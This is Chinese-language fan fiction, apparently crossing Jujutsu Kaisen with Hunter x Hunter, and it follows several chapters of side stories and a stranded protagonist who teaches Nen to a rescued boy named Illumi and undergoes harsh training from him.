禅院甚尔来不及躲开,被加贺见立夏一把扯住了衣服,她拽得很紧,停在他身边,弯着腰剧烈地喘气。
“你……找我干什么?”
禅院甚尔好不容易才找回自己的声音。他不得不承认,当视野里出现加贺见立夏时,感觉不差。她烦一点,就烦一点吧。
“我们是好朋友嘛。”加贺见立夏喘匀了气,抬起头看他,眼睛里亮晶晶的,拽着他轻轻摇晃,“甚尔,我们回去吧。”
禅院甚尔被她的眼神看得脸颊一热,不自然地转过身去,“哦,那走吧。”
走了几步,腰侧传来持续的拉力,禅院甚尔拽了拽,试图把衣服拉回来,没成功。一转头,发现加贺见立夏面上笑眯眯的,底下两只手一起死死揪住了他的衣服,他顿了顿,放弃了这个打算。
“你每天都没有别的事吗?”
“当然有了。”加贺见立夏心安理得地继续抓着手里的和服,慢吞吞地跟在禅院甚尔的身后,“过段时间父亲会派人来给我上课,到时候你也一起。”
“什么?!”禅院甚尔猛地扭头。
“干嘛这么惊讶。”加贺见立夏揪着他的衣服摇晃,“你知道我不太适合去学校,一直都是请人来家里上课的。”
“……没必要拉上我吧。”禅院甚尔知道自己去不成咒术师的学校,但也没想过有天要去学咒术界以外的东西,“家主不会同意的。”
“已经同意了哦。”加贺见立夏邀功似的朝他笑,“我拜托了父亲,他和禅院家主商量好了。”
“你就当陪我嘛……而且上课的地方不在主宅,我一个人不太安全。”
禅院甚尔不用想都知道加贺见立夏的父亲绝对会安排专门的人保护她,禅院甚尔自己也还是个小孩,对方疯了才真的相信他。
但是如果拒绝的话,不知道加贺见立夏又会想出多少理由来说服他,或者干脆像这两天一样整日在他眼前晃?禅院甚尔光是想想那个画面都觉得够了。
“行吧。”一不留神就说出了口。
禅院甚尔瞬间有些后悔,想说点什么找补,但是看到加贺见立夏开心的表情,又憋了回去。
“甚尔对我最好啦。”
他直觉自己不该表现得这么好说话,但是面对加贺见立夏,他总有一种熟悉的无力感与郁闷感。
算了,就当哄她高兴,她高兴了,才能少来麻烦自己。
禅院甚尔就这样做好了心理建设。那个时候,他还不知道自己的想法有多天真。他只知道,如果世界上的女孩子都和加贺见立夏一样,实在是一场灾难。
34.番外二 书房[番外]
夏日尚未真正到来。
昏昏欲睡的午后,阳光透过窗格照进屋子,被切割成整齐的长条。空气中弥漫着咖啡的苦涩香气,坐在巨大办公桌后的少女翻阅着文件,将批示过的都放到右手边,那里已经摞了厚厚两叠。而在她的左手边,等待处理的那些直接堆成了小山。
办公室的门被轻轻打开,西装革履的秘书抱着新的文件走进来,放到那座小山的顶上,再走到办公桌的另一侧,取走那两叠处理过的。秘书的动作熟练且迅速,整个过程中没发出一丁点声响,少女全神贯注地低着头,没有受到任何干扰。
今川部从房间里退出来,等在门口的女仆双手交握,面带忧色地走上前,“今川先生,大小姐已经连续工作七个小时了,还没有吃午饭,能不能……”
今川为难地摇摇头,“这段时间,公司里积压了太多的事,社长也抽不开身,才委托给大小姐。而且,大小姐向来有自己的主意。唉,再去泡一杯咖啡送进去吧,午饭的事……等禅院先生来的时候告诉他。”
“没错!禅院先生的话,大小姐一定会听的!”女仆眼睛一亮,像是找到了主心骨,一下子有了干劲。她感激地朝今川部欠了欠身,转身快步朝茶水间走去。
女仆的运气不错,她刚泡好一杯咖啡端出来,就在走廊里遇到了禅院甚尔,于是快速走过去拦住了他。
办公室的门被再一次打开,进来的人脚步很轻。办公桌后的少女一手撑着额,一手在文件上轻点,似乎遇到了什么难题,但很快她又干脆利落地下笔,把这份文件卷起来扔到了一边。
少女闻到咖啡的香气,腾出一只手去摸,没在熟悉的位置碰到杯子,有些茫然地抬起头,然后在看到少年的瞬间,脸上的茫然被喜悦替代。
“你怎么来啦?任务都做完了吗?”
禅院甚尔盯着加贺见立夏的眼睛,那双眼睛在看到他的一瞬间亮起来,就像每一次和他在一起的时候那样。加贺见立夏的嘴角也翘起来,脸颊上露出浅浅的酒窝,每一次都让他忍不住想要触碰。
“轻轻松松。”禅院甚尔把托盘放到一边,撑在桌前俯视着加贺见立夏,“倒是你,听说我再不来,你就要把自己饿晕在办公室了。”
“没有那么夸张啦,我给自己预留了午饭的时间哦。”
加贺见立夏笑着眨了眨眼睛,禅院甚尔立刻就知道她在编理由了。果然,加贺见立夏装模作样地看了眼对面墙上的挂钟,“哎呀,刚好是现在,你饿不饿
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,要不要一起吃点东西?”
加贺见立夏每天都有一百种理由和他待在一起,禅院甚尔非但不觉得厌烦,反而会在接到任务时就盘算起需要花费的时间,以及自己究竟什么时候才能见到她。
当然,这种想法,禅院甚尔是绝对不会告诉加贺见立夏的。他有时候觉得自己被加贺见立夏完全看穿了,对方只是装作不知道。
无论怎样,对他们的关系都不会有什么影响。
禅院甚尔看着加贺见立夏把自己不喜欢吃的东西挑挑拣拣都塞到他的碗里,太阳穴跳了跳,“不喜欢的话,为什么让助理买这家的啊?”
“因为他们家的饭团真的很好吃哦。其他的都无所谓啦,反正你不是挺喜欢的嘛。”
加贺见立夏终于挑完了配菜,心满意足地咬了一口饭团,吃得脸颊一鼓一鼓的,注意到他的视线,匆忙把嘴巴里的都咽下去,“不要一直看着我啦,快吃饭。”
“哦。”禅院甚尔低下头,过了一会他抬起头,刚好捕捉到加贺见立夏来不及躲闪的目光,他弯起嘴角,“你还不是一直在看着我?”
加贺见立夏抬手戳了戳他的脸,“笨蛋甚尔。”
禅院甚尔抓住她的手,“笨蛋立夏。”
35.番外三 木离[番外]
连续扑空三次后,禅院佑京总结出了一点加贺见立夏出门的规律,在某个周末再次敲响了加贺见立夏住所的门。
在禅院佑京看来,加贺见立夏选择的这栋公寓实在有些寒酸,虽说位置是在市中心,但房龄已经超过了三十年,和禅院家定期修葺的老宅不同,这里到处都透着破旧的气息。
为什么要住在这种地方啊?加贺见家不差这点钱才对。
敲门后等待的时间里,禅院佑京透过楼道的窗户看了眼楼下开得繁盛的樱花,深呼吸了一次。
没有人开门。
禅院佑京抬手又敲了敲,他的目光落在门边的墙上,那里其实很干净,没有其他家乱涂乱画的痕迹,让他的不满意减轻了些许,但他仍然觉得加贺见立夏不该住在这里,把这里的一整户加起来,估计都还没有他的卧室大。
在禅院佑京走神的几秒钟里,门后终于传来了脚步声,禅院佑京猛然回神,面前的门咔哒一声,被人从内打开。
“你好。”禅院佑京的笑容刚露了一半,就僵在脸上,“你怎么在这里?”
禅院甚尔显然也没料到外面的人是他,皱了皱眉,“你有什么事?”
“这里明明是加贺见……你们住在一起?!”禅院佑京瞪大眼睛。
禅院甚尔没有任何解释的打算,握着把手就要关门。
“等等!”
禅院佑京急忙伸手去拦,眼看着要被门板夹到,禅院甚尔啧了声,及时停住了,紧接着一个声音从屋子里传来,“甚尔,是谁呀?”
禅院佑京的身体顿时有些僵硬,在禅院甚尔的目光中将背又挺直了些。
“一个麻烦的家伙。”
禅院甚尔松开手。
“是我。”
禅院佑京装作没听见禅院甚尔的话,他站在门口,声音小得可怜。
禅院佑京听到拖鞋的轻响,接着那个人就出现在他眼前,半干的头发披散着,微微打着卷,在衣服上留下一些湿痕。
失礼……
禅院佑京移开目光。
“佑京君?”
加贺见立夏同样对禅院佑京的到来感到意外,但她很快就掩饰了这种惊讶。她注意到禅院佑京的目光,微笑了一下,“抱歉。要进来坐会吗?”
禅院佑京坐在客厅的沙发上。
他从进门起就忍不住打量着公寓的内部,和他想象中的不太一样,并不破旧,很有生活气息,一切都很……很适合加贺见立夏。
除了禅院甚尔。
如果没有禅院甚尔……
砰。
杯子被重重地放到他面前。
禅院甚尔看都没看他一眼,转身就走。
“甚尔!”
加贺见立夏的声音从房间里传出来,显然是听到了这边的动静。
“知道了——”
这次放下的是一壶新泡的茶,禅院甚尔的动作轻了些,抬起眼睛,“要喝就自己倒。”
“谁要喝这种东西!”
禅院佑京单看茶叶的状态就知道这人是用怎样粗糙的,野蛮的,丝毫不尊重茶道的方式泡的茶,他从小到大都没被人这么怠慢过。
“哦,你不喝。”禅院甚尔弯了下嘴角,突然抬高声音,“立夏——”
“我喝!”
禅院佑京吓出一身冷汗,他原本想捂住禅院甚尔的嘴,被轻易躲过了。
“怎么了?”
“没什么……毛巾给我,我帮你擦。”
禅院佑京沉默着坐回沙发上。
他看着茶壶里缓缓下沉的茶叶,犹豫了很久,伸出手。
“佑京君,久等了。”
“没事。”
禅院佑京注意到加贺见立夏换了一身衣服,打理好的头发拢成一束,用发带整齐地编起,垂在身侧。很好看。
“谢谢。”
禅院佑京这才意识到自己说出了口。他耳朵发烫,故作镇定地抿唇,没有让自己再做出失礼的举动。<
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p>“佑京君,你来这里是有什么事吗?”
禅院佑京想起自己的来意。
加贺见立夏坐在对面,认真地看着他,禅院甚尔被打发去房间里换衣服,留下了适合交谈的空间。
虽然按禅院甚尔那个怪物变态的五感,肯定会听得一清二楚,但……这是加贺见立夏的好意。
“周四,你有空吗?”
加贺见立夏没有思考太久,她露出抱歉的神色,“明天是春分日,多了一天假期,所以其他时间我会有些忙。”
禅院佑京并不意外。
尽管不甘心,但加贺见立夏不可能为他压缩自己的工作时间。他会出现在这里,也只是因为这份不甘心。
“那天是什么特殊的日子吗?”
“……”
禅院佑京想起禅院家为了那一天正在做的准备,突然觉得一切都不太真实。他有些说不出话来。但他还是听到了自己的声音,比想象中平静。
“是我的生日。”
“原来是这样。那么,提前祝你生日快乐,佑京君。”
加贺见立夏微笑时,颊边会有浅浅的酒窝,当她这样看着谁,那个人就会产生被珍视的感觉。
“生日礼物会托人送到禅院家。”
“谢谢。”禅院佑京站起来,因为动作太急,产生了轻微的眩晕感,“打扰了,我……我回去了。”
他逃离了那里。
午后的阳光投下繁茂的树影,他从楼里出来,撞了满身的樱花雪。
树下玩耍的小孩子们好奇地看他。
禅院佑京摘下头发上的花瓣,深深地喘了口气。在鼻翼触碰到香气的同时,舌根泛起苦涩。
“真过分。”
禅院佑京垂下手。
他就这样沿着来时的道路,穿过熙熙攘攘的街市,踏青赏花的人群,穿过缄默的石桥,千年的鸟居,回到了禅院家。
仆人们俯身行礼。
古老的庭院寂静无声。
36.No.001 好血蝶
你像往常一样出了门。
朝阳刚从河川下游升起,你朝着与之相反的方向一直走,半小时后来到了一片山林。
昨天刚下过雨,土壤软塌塌的,每一步都陷进去,渗出水来。你仔细辨认着树干上的记号,仅仅过去一天,它们就被疯长的藤蔓完全遮住。
你割开一处树藤,那些残留在叶片上的水抖落下来,掉在兜帽上。一阵细微的沙沙声,你转过头。
锵!
森白的牙撞上新磨的刃,暗金色的竖瞳在你的注视中缩成一线,手上压力骤重,你往后退了一步,身后的树干突然滑动,露出遮蔽后的真容——一条深黑的蟒身。
“我吵到你睡觉了吗,亲爱的?”
猎刀不堪重负地咯吱作响,你从逐渐收紧的包围圈中探出另一只手,伸到张开的毒牙前,用刀刃划破了手指。
新鲜的血液滑进蠕动的口腔。
还不够……你握住猎刀,一大股鲜血从破开的掌心涌出,你用力攥了下手,确保血液流得更加顺畅。
这次你捕捉到了那种联系。
“回去吧。”
蛇的竖瞳恢复了正常大小,它松开嘴,冰凉的蛇信在你的手背上滑过,而后缓慢地松开缠绕的身躯,爬上旁边的一棵树。漆黑的鳞片反射着微光,几秒后,它们变成了和树干别无二致的暗色。
唉。还是不够。
你在树下包扎完伤口,再次动身。越往深处,地面的坡度就越明显,你不知道这里距离山顶还有多远,只能尽量沿着直线。
你抬着头,透过树冠缝隙看到了移至上方的太阳。你已经走出了之前探索过的范围,地形还没有发生太大变化。你找了个地方坐下来,从背包里拿出午饭——烤鱼、烤肉、烤蘑菇。
好想念饭团。
你麻木地啃着烤蘑菇,视野中闪过一抹绯红。
你伸出手,它轻盈地停在你的指尖。
一只蝴蝶。
这里竟然会有这种小东西。
你碰了碰它的翅膀,它飞起来,又落回你的掌心。
嗯?察觉到掌中的触感,你扯松了手上的绷带,更多的蝴蝶被吸引过来,停留在尚未愈合的伤口上。
原来是食血的。
你有了一个新的想法。
血腥味会引来捕食的野兽,你喂饱了蝴蝶,就将绷带再次扎紧。
通过血液,你将念植入了蝴蝶中,24小时内,你可以感知到它们的位置,并控制它们的行动。
只有人类才会患上花吐症,所以当念的作用对象是其他生物时,你不需要有心理负担。
蝴蝶们朝着不同的方向飞走,念的效果像是在脑子里装了张简易地图,随着蝴蝶的行迹不断展开。控制蛇需要的血量太大,又不够隐蔽,其他动物同理,直接用圆太消耗,眼下这个方法刚刚好。
你迅速解决了午饭,被你单独留下的蝴蝶从你手上飞起,牵引着你往前,那里有它的族群,正在进食新鲜的血液。
你沿途看到了不少动物的尸骨,这在山林里并不罕见。雨水冲刷掉了大部分痕迹,你大概能推测出争斗的场景,狩猎、被狩猎。早些年,这里还会有人类的骨头。
蝴蝶带你走的路很安静,除了你的脚步声,就只有雨水落下的滴答响。狩猎至少过去了一夜,这时候还有新鲜食物是件奇怪的事,但你在地图上确认过,这一片目前还算安全。
咔嚓。
你踩坏了一根树枝。
空气是寂静的。
树下的少年睁着大而无神的眼,扭曲的脖颈和肢体爬满了艳红的蝴蝶,它们拖着浸饱鲜血的翅,迟迟不肯逃离溺亡的河川,吸食,直至死亡。
你和那双眼睛对视了一会,朝他伸手。
“你需要帮助吗?”
少年身上的气微弱得像个死人。在你看到他之前,你就是这么以为的。蝴蝶的视力并不好,脑中的地图只显示这是个新鲜食物,谁知道竟然是个人。
你没指望能得到回应。你拆开手上的绷带,忍痛捏开伤口,饱食的蝴蝶们对此无动于衷。
你只好拿出刀。
“看你年纪不大,还没有喜欢的人吧?如果有的话……自求多福。”
放血的感觉并不好受,如果不是对新鲜度有要求,你都想提前做一些血包带在身上。
你抬起手,血淅淅沥沥的落下,融入蝴蝶的海洋。一千只蝶翅的震颤,眼前的景象似乎都覆上了薄薄的红,鼓膜嗡鸣,这是名为[共感]的副作用。你操控着它们远离,随后立即切断联系。
眼前是浸泡在血水中的内脏团。
你侧过头,干呕了一声。积压在胃部的食物一阵翻涌,险些真的吐出来。
“会没事的。”
你不知道是在安慰他还是安慰自己,念叨了两句,试图调动他的四肢。
扭曲的肢体一段段掰回,残破的内脏重新收拢,手边没有针线,就先用绷带缠紧……少年趴在你的肩头,像具人偶一样任你摆布。
“还好他们没有扔掉你的心脏。”
你仔细感受了一下他胸腔里的搏动,像蝴蝶振翅一样不易察觉,但总归是装回去了,不久前,它还和其他脏器一起被丢在腹腔里,那个画面你这辈子都不想再回忆。
“看来今天没办法继续了,不知道你是从哪里来的,但你既然不是村子里的人,说明肯定有出去的路,对吧?”
少年闭着眼睛,没有回应。
回到村子里后,你翻找出了针线。
村子不大,没有医疗设施,村里的人生了病都是在自家鼓捣草药。
你想着自己勉强算半个医生,就把半路捡来的少年平放到床上,给他做手术。浸过血的线附着你的念力,将草草处理的地方一一缝合。你对自己的手法十分满意,虽然不可避免的会留下疤痕,但你实在没有玛奇小姐那种能力。
如果借助媒介,比如血,倒是勉强能扯出一厘米长的线。但是一厘米,打结都嫌短啊。
走出屋子时,夕阳已经落山。这里没有钟表,你推测大概是晚上八点左右。在你的观念里,这个时间还算早,但村里家家户户都熄了灯,静得像是只有你一个活人。
啊,现在又多了一个。
但愿是个会说话的。
*
你迎着朝阳结束了一整夜的念力修行。手上的伤好得七七八八。毫无疑问,这是念的作用。最先摸索出念的是个相当了不起的人。
少年尚未苏醒。
你今天没有探索山林的计划,而是带上钓竿去了河边。
河里有两个扑腾的人影,他们看到你,伸长了手臂朝这边挥舞。
“早啊,小林,小优。”
“哈……”小林张着嘴笑,湿漉漉的头发贴在脑门上。小优在他后面爬上岸,嘴里叼着一条不断挣扎的鱼。
“啊……”小林对着身后的河面比划了一下,指着你的钓竿,又指了指下游的方向。
“去那边钓?”
你朝那边走了两步,小林笑着点头。
小优两三步赶上来,把鱼吐进了你的桶里。
“送我的?”
小优点点头,转身和小林一起跳回水中。
你在离他们很远的地方坐下。
天色尚早,你不紧不慢的做着垂钓前的准备。河面极其广阔,需要用凝才能看见对岸的一点影子。
清晨的微风吹拂河面,泛起层层涟漪,一切都是这么的祥和、平静,像一个假期。
河边陆续多了一些村民,有些带着钓竿,有些拿着渔网,还有些像小林那样直接摸进水里。他们不约而同的和你隔开了一段距离,仿佛你是什么大人物——你只在来这里的第一天有过这种错觉。
对于你这个贸然来访的外乡人,村民们表现得过于热心,不仅空出了一间宽敞的房子,还送来了食物、衣服、草药,以及各种你自己都没有想到会派上用场的东西。
但在生活需求之外,他们不和你进行任何交流。你想打听村庄的位置,他们只是摇头,发出含糊不清的声音。你原本以为是语言不通,后来偶然间发现,他们都没有舌头。
这不是先天疾病,似乎也不是出于某种宗.教仪式。你观察过村里的小孩子,他们的口腔构造正常,只是因为生长在这样的环境里,没有学习说话的机会。
只有上一代人失去了舌头。
你不想探究这座不具名村存在的原因。封念期结束后,你就
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计划着离开这里。这是个与世隔绝的地方,村民们自给自足,日出而作,日落而息,夜不出户。
当你向村民们借猎刀,表示要去探索出村的路时,他们露出了非常恐惧的表情。没有人阻挠你,但在那之后,村里除了小林和小优,其他人都自发的避开你,不再和你有任何接触。
你大约花了十天探索完村庄周遭的环境,一面环水,三面环山,你似乎在哪本书上看过,这是不错的风水。然而村子正是被这种地形完全封住。
河流上游是一条高不见顶的瀑布,旁边没有借力的植物,想要单靠石头爬到顶上难如登天。这条河流经村庄,最后汇入大海(你的猜测),你想过造一艘船,但无法确定航向,食物的补给也是个问题。而山林中生活着诸多凶兽,想要平安通过,同样很难。
当然,最重要的一点是,你不确定自己被生命之泉的暗流带到了哪里。如果在欧奇马联邦境内倒还好,要是运气不好到了禁止通行的区域,会很麻烦的。
你看着桶里的四条鱼,满足地收起钓具。先把这些送回去,再去上游打水,顺便找找能吃的果子。
很合理的安排。
你拎着东西往回走,快到村口时,草丛里突然钻出一个孩子,你往边上让了让,对方看到你,反而被吓到,啪叽摔到地上,手里的东西撒了一地。
“……”你停在原地,没有上前。
孩子大概摔得有点狠,爬起来的时候眼睛里蓄着泪,不会用舌头,从喉咙里冒出来啊啊的哭声,手掌也磨破了。
“唉。”
你弯腰拾起散落在地上的花枝,很快就拢成一束递过去,“给你。”
“h…ha…n…a…”
“花?”你惊讶地看着面前的孩子。
“ha…”刚发出一个音,孩子就被匆忙赶来的村民一把抱起,村民低着头,转身要走。
“等等,你们忘了这个。”你举起手上的花束。
“花(hana)。”孩子在村民怀里挣扎了一下,扶着她的肩膀伸手来接。
村民捂住孩子的嘴,边走边转头看了你一眼。那眼神十分怪异。这段时间,你已经习惯了被当做透明人,再次被“看到”,反而有种不舒服的感觉。
快回到住处,你依然没能摆脱那种不适感。那些花被你带了回来,它们应该是那个孩子在上游附近收集的,有的脱水太久,呈现出萎缩的状态。那孩子跑得那么快,是想要在它们最好看的时候带回家吧?
“啊——”
“小林?你怎么在这里?”
你不明所以地看着从房子里跑出来的小林,他一看到你,就急忙拉住你的袖子。
“怎么了?”
“啊,啊。”小林满头的汗,顾不上比划,只把你往里面扯。
你只好跟着进去。
看上去跟你早晨离开的时候没什么区别。昨天带回来的少年也好好的待在房间里……
你透过敞开的房门看到了一片狼藉的室内,桌椅翻倒,墙壁开裂,裹着绷带的少年半跪在地上,手掌紧紧扼住一个人的脖子。
被压在地上的小优张开嘴,眼珠上翻,一副快要窒息的模样,少年抬头看着你们,脸上没有任何表情。
你放下手里的东西,尽可能平静地开口,“你的伤口裂了。”
“他想杀我。”
少年同样语气平静。
这是你到这里以来听到的第一句完整的话,可惜你没时间仔细感受这份言语交谈带来的感动。
“这里没有人想杀你。松手。”
你发动了念。
少年的目光落在自己的手上,那只手颤抖着,不受控制地松开桎梏,身下的人猛的吸入空气,喘动着发出嘶哑的咳声。
少年看了会,起身退到了墙边。
“小林,带着小优回去。”
你拍了拍小林的肩膀示意,他迫不及待地跑过去,拉起瘫软在地上的小优。
少年注视着他们,目光随之移动,直到两人离开房间,才再次看向你,“你用什么方法控制了我?”
“先说说你的来历。”
你揉了揉太阳穴。
“我叫伊路,在回家途中被人杀害。”
37.No.002 伊路
你按揉太阳穴的手停下来。
“你还活着。”
“是的。”
“那就不要用''杀害''这个词,会让我以为遇到了灵异事件。”
“你的名字呢?”伊路没有理会你的纠正。
“三叶葵,你可以直接喊我葵。”你看着房间里唯一没被波及的床,叹了口气,“先躺下吧,我帮你重新缝一下。”
伊路很配合地躺下来,他胸前和腹部的绷带都渗出血色,你很难想象他是怎么在这种状态下把房间弄成这样的。
你拆开绷带,果然看到了崩裂的伤口,里面的内脏也有不同程度的出血。
“你难道不痛吗?”
你怀疑地看着一声不吭的伊路,他安静得像个假人。
“……痛。”
你不信,因为他连眉毛都没皱一下,但你还是尽可能小心地操作,并不断地输送念力。
“很温暖。”伊路突然说。
“什么?”
“我不知道。”伊路的眼睛看着天花板,你正检查着他的心脏,它完好地躺在他的胸腔里,平稳地跳动着。
“好了。接下来的一个月都不要有大动作,一个月之后,我再检查一次。”
“……好。”
这不情愿的停顿真是让人不爽。
“接着说你的事,为什么会有人要杀你?”
“因为我家的生意。”
“哦,商业竞争。竟然到了买凶杀人的程度吗?”
伊路默认了。
你对有钱人的生活并不了解,但人类的嫉妒心的确是很可怕的存在。或许他是对被杀产生了PTSD,才会伤到小优。
你想到刚刚的场景,有些头疼。
“刚刚那两个人是这里的村民,黑发的是小优,金发的是小林。他们大概是听说我带了人回来,好奇来看看,没有恶意。所以,你明天跟我一起去给他们道歉吧。”
“不要。”
伊路拒绝得十分干脆,让你接下来的话都堵在了喉咙里。
“给我一个理由。”
“我不想去。”
“……”
这怎么不算理由呢……你一向不擅长处理这种情况,只好妥协。
“好吧,那我去解释。”
“那么,我还有最后一个问题。你知道这个村子在什么地方吗?”
欧奇马联邦?
“巴托奇亚共和国。”
你没能立刻想起这个国家的位置。
“东南大陆?”
“西北大陆。”
是你完全不熟悉的地方。
从东南大陆漂到西北大陆要花多久?难道你在你不知道的时候,你又弄丢了一份记忆吗?
每当你尝试找寻失去的记忆,就会开始头痛,如果你不停下,这种疼痛能让你直接摔在地上。曾经你有两个意识可以分摊痛苦,现在却没办法再维持住体面。
鼻腔、口中满溢着腥味,眼前一阵一阵摇曳的红,红色……红色的心——停止——手……苍白的手——停下来——
“葵。”
你看到了一双漆黑的眼睛,强烈的怒气在这一瞬间烧毁了你的理智,你抓着他的脖子,砰的撞上去。
你恢复了清醒。
追悔莫及。
“你想杀我。”伊路睁着一双死鱼眼。
“我只是认错了人。”你拧干毛巾,敷在额头的肿包上,“如果我真想杀你,就不会费力把你救回来。”
“你差点杀了我。”伊路自然地换了说法。
可恶,这是事实没错。
“我保证不会有下次。”
“我想躲开,但是身体动不了。你是怎么做到的?”
“……”
他真的对这件事很执着。
你烦恼地抓下毛巾,去厨房倒了杯水,放在伊路面前,“好吧,我来教你。”
修习念无疑是对身体有好处的。但是念能力者的世界真的很危险啊。(并不是说普通人的世界不危险==,譬如一年前的你。)
你观察着伊路的气,它们覆在他的皮肤表面,几不可察地缓慢波动。也许是因为曾经濒死,他已经自发的学会了[缠],只不过他自己尚未发觉。
你告诉了伊路关于念的基本知识。其实你是照本宣科,没有人正经教过你,你自行摸索出的东西和真正厉害的人相比也不值一提。好在伊路的悟性不错,很快就掌握了窍门。
“那么,先测一下你的属性。”
据说念的系别和念能力者的性格有一定的联系,你很好奇伊路的测试结果。
“就像这样——”
你将手放在水杯旁,杯中的水和叶子随着气的释放轻轻震动——这是名为[水见式]的鉴别方法。半年前测试时,杯中树叶的边缘出现了枯黄,你猜测这次的面积会更大。
几秒后,叶子不出所料的开始枯萎,从边缘扩散,最终覆盖了整个表面。
看来你的努力是有成效的。
你满意地收回手。
突然,枯死的叶片散成碎末,沉入水底,逐渐消融,将透明的水染成浅浅的绯红,而后重归平静。
“这代表了什么?”
“……我也不知道。”
本来特质系的念能力就五花八门,不像其他五种那样能总结出共性,何况现在又出现了新的变化。
“哎——等等!”
你没来得及阻止伊路。他用指尖沾了一点,送入唇间。
“是血。”
“啊?”你看着杯中淡红色的液体。
与特质系相邻的是操作系和具现化系,或许这是另一种意义上的“改变气的性质”?又或许与你正在开发的那个能力有关……
“我的情况有点复杂,之后跟你解释。我们先测你的。”
你重新倒了一杯水。
伊路对这个安排没有异议,他伸出手,发动了[练]。
绿色的叶片上下跳动。是操作系。
“这个属性还挺适合你的。”
你其实没见过几个念能力者,只是凭借印象,认为伊路不可能是强化系。
操作系嘛……你的理解是有自己想法的一群人,会比变化系的处得来呢。
“……操作系差不多是这样。如果控制对象是生物,最好借助媒介,选择你喜欢的工具,附上念使用。如果单纯用气操控,就要再消耗一部分用来将气具现化,这是很不划算的。不过工具没办法隐藏,在作战时会很不利。”
你看着若有所思的伊路,发现自己好像扯远了,“现在不用考虑这么多啦,你先打好基础,下个月我们去山里练习。说到这个山……你家里人会不会也以为你已经死了?”
伊路表现得太过冷静,你都忘了他是个差点被杀的富二代。
“只要在弟弟的生日之前回去就没关系。”伊路看着手上的念。
“你弟弟的生日是什么时候?”
“七月七号。”
“七月……那不就只剩一个月了!”
*
根据伊路提供的信息,不具名村位于巴托奇亚共和国西部,与海港城市阿尔达相邻,他原本要在那里搭乘火车回家,被追杀他的人引到了山里。
村庄所在地在地图上是一片未被标记的区域。这样一来,你更不想多待了。因为明摆着是阴谋的味道。
可是要怎么在一个月之内变强呢?昨天遇到的那条蛇已经够麻烦了,多来几只你的血根本不够用。想要出去就得在山里过夜,入夜后只会更危险。
到目前为止,唯一的安慰是你努力的方向没错。
思考无果,你在日落前按照原计划去了一趟山林,给蝴蝶续血。24小时将近,你需要这些小家伙们再帮你探索一段时间。
山林的边缘是相对安全的,伊路表示要跟着你,于是你带上了他。你从他那里得知这种蝴蝶的名称是“好血蝶”,和食人花一样简朴的命名方式。
等它们都从你的手上飞走,你发现伊路在看着你,或者说,在观察你。
“你的反应很迟钝。”
“?”
“你是怎么活到现在的?”
==#
又来了,用最真诚的语气问出最嘲讽的问题。
下午你抢修房子的时候,他说你力气太小,连他家的门都打不开。
他家的门难道是什么试炼场所吗?要通过测试才有资格成为他家的客人吗?而且谁要去他家里参观呀!他以为他家是5A级景区吗!
你默了一会,告诉自己不要生气。
“你什么意思?”
“不行。这种程度,奇犽都可以轻松杀了你。”
奇犽是伊路的弟弟,下个月刚满三岁,所以你把他的这句话直接翻译成了,“你连三岁小孩都不如”。
冷静,保持冷静。
区区嘲讽,区区……手里的绷带被你拉扯,变形——
“但你的能力还算好用。”伊路兀自思索着。
你发现自己被“夸奖”后就没那么生气了==,这是PUA,一定是PUA。
“你的身体素质也不错,只要训练……对了!”伊路右手握拳,向左手掌心轻轻一敲,睁着大大的猫眼,“接下来的一个月,就由我来训练你。”
伊路单方面制定了你的训练计划。
“等一下等一下,你今年几岁?”
“十五。”
让十五岁的小孩教你,这种事也太丢脸了!
“葵,你难道不想出去吗?”
“当然想了,可是……”你拿起桌上的训练表,“这真的是人能做到的吗?”
“这些三毛都会。”
三毛是伊路家里养的狗。==#
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“葵,你不会做不到吧?”
(你不会连狗都不如吧?)
伊路这家伙,简直——你拍案而起,咬牙切齿,“怎么可能做不到!”
不就是每天绕着村子最外围负重跑步50圈,顶着瀑布徒手攀岩500米,再潜到河底闭气一小时吗?这有什么难的?
……
这种事情狗真的能做到吗?
不是,人也不可能做得到啊?!
三天后,你开始思考生命存在的意义。这样美好的季节,为什么不能在屋子里躺着看漫画?为什么要在烈日暴晒下跑圈,跑圈,跑圈?
“你太慢了。”
伊路轻松地跑在你身侧——他表示这不算“大动作”,并且他的身体恢复速度比你预想中快得多,你就由着他了。
“已经……很快……了……”
你喘着气,水桶的提手狠狠勒着掌心。整整二十圈,你没在地上爬都算不错了。
“比前两天有进步。”
“是……吧……”
“接下来我会攻击你。”
“什……”
第六感让你的身体往旁边一侧,手的残影擦过你刚刚的位置,你被吓出一身冷汗,伊路脸上露出一点可惜之色,他在可惜什么?!
没等你反应过来,他再次挥手朝你刺来。艹!你可是见过他徒手切木头的,比切豆腐还容易。
“葵,集中精神。一旦你的速度慢下来,我就会攻击你。”伊路的攻势告诉你,他是认真的!
你艰难地迈开腿,调动起全身的血液。
伊路的声音紧随身后。
“桶里面的水洒出来,我也会攻击你。”
!!!
哪有这样临时增加规则的!
你从河底爬上来,星星已经挂满了天空。河滩上生着一堆火,上面架着两条鱼。伊路转了转手里的树枝,转头问你,“吃吗?”
你没力气说话,点点头坐过去。
“你做得很好。”
隔着跳动的火焰,伊路面无表情地夸奖了你。
PUA,这是PUA。
你不搭理他,咬了一口热腾腾的烤鱼。
好好吃!你瞬间泪流满面。
你三两下啃完了鱼,心满意足地躺下,连湿透的衣服都不在意了。
“呕——”
你的腹部突然一阵剧痛,从胃里涌上恶心的呕吐感。你一偏头,吐出了一堆沾着黑血的食物残渣。
“怎么——回事——呕——”
你捂着肚子,瞪着伊路。
“从今天起增加抗毒训练。”
这是什么狗屁训练!不对,他哪来的毒药?
痛感从腹部扩散到了全身,你倒在地上,四肢麻痹。阵阵发黑的视野中,伊路将吃完的鱼骨插进了火堆。
“材料不够,做出来的毒性太弱了,得再想想别的办法……”
意识逐渐沉入黑暗。
你听到了一个声音。
它说,我对你很失望。
你找不到声音的源头,世界是一片浓稠的墨色。
为什么?你问它。
那条路就在那里,你却视而不见。那声音如此回答你。
我不明白。你说。
你听到了淙淙的流水声,低下头,脚边是暗红色的河流。
[那条路就在那里……]
水底浮现出一张张熟悉的脸,他们用空洞的眼神看着你,张着嘴,露出空无一物的口腔,重复着同一句话。
[为什么你视而不见?]
这是训练的第七天,你还活着。
早餐是一杯冒着可疑气泡的绿色糊状物。
“伊路,我认为……我不需要这个。”
你伸出一根手指,把杯子推回去。你一点都不想再体验那种生不如死的感觉。
“葵,你难道不想活着出去吗?”伊路坐在桌子对面,“一旦被带毒的凶兽咬中,所有的努力就都白费了。”
“可是,喝了这个我会立刻死掉吧。”你僵硬地笑了笑。
“不会的,我按你的身体状况调整过剂量,是安全的。”
